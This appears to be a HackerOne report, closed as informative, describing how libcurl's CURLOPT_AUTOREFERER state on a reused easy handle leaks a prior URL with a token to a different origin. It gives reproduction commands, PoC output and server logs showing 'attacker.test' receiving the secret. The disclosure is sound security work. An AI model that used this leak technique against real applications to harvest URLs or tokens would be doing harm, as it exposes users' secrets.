libcurl stale CURLOPT_AUTOREFERER leaks a previous request URL to a different origin on a reused easy handle
Low
Vulnerability Details
## Summary:
libcurl keeps a stale `data->state.referer` after an HTTP redirect when `CURLOPT_AUTOREFERER` is enabled. `Curl_http_follow()` stores the previous URL into `data->state.referer` at `lib/http.c:1166-1189`, and later requests reuse that value when building `Referer:` at `lib/http.c:2954-2957`. In my local checkout, `lib/transfer.c:495-503` resets follow/auth state but does not reset `data->state.referer`. As a result, after one redirecting transfer completes, a subsequent unrelated request on the same easy handle can send a stale `Referer:` header to a different origin. I reproduced this on `curl 8.19.0 / libcurl 8.19.0` on x86_64 Linux, and included controls showing the leak disappears when the second request uses a new easy handle or when `CURLOPT_AUTOREFERER` is disabled. An attachment with the PoC source, server script, and captured output is included.
## Affected version
Reproduced on:
`curl 8.19.0 (x86_64-pc-linux-gnu) libcurl/8.19.0 OpenSSL/3.5.5 zlib/1.3.1 brotli/1.2.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.5 libssh2/1.11.1 nghttp2/1.68.1 ngtcp2/1.21.0 nghttp3/1.15.0 librtmp/2.3 mit-krb5/1.22.1 OpenLDAP/2.6.10`
Platform:
`Linux x86_64`
## Steps To Reproduce:
1. Start the attached local server:
`python3 -u stale_autoreferer_server.py 18084`
2. Build the attached PoC:
`cc poc_stale_autoreferer.c -o poc_stale_autoreferer $(curl-config --cflags --libs)`
3. Run the PoC:
`./poc_stale_autoreferer`
4. Observe the base case output:
`req1=0 effective=http://b.test:18084/final referer=http://a.test:18084/start?token=SECRET123`
`req2=0 effective=http://attacker.test:18084/check referer=http://a.test:18084/start?token=SECRET123`
5. Observe control 1:
with a new easy handle for request 2, `attacker.test` receives `referer=(null)`
6. Observe control 2:
with `CURLOPT_AUTOREFERER` disabled, the stale `Referer:` is not sent on request 2
7. Observe the attached server log for the base case:
`{"host": "a.test:18084", "path": "/start?token=SECRET123", "referer": null}`
`{"host": "b.test:18084", "path": "/final", "referer": "http://a.test:18084/start?token=SECRET123"}`
`{"host": "attacker.test:18084", "path": "/check", "referer": "http://a.test:18084/start?token=SECRET123"}`
## Impact
## Summary:
This causes cross-origin disclosure of the previous transfer URL through a stale `Referer:` header on a later request using the same easy handle. Because the leaked URL can include query parameters, path segments, signed URLs, internal endpoint names, or other sensitive values, an attacker-controlled origin can receive data unrelated to the current request. The included controls show that the leak is specifically caused by persisted `CURLOPT_AUTOREFERER` state across transfers, not normal referer behavior.
Actions
View on HackerOneReport Stats
- Report ID: 3673277
- State: Closed
- Substate: informative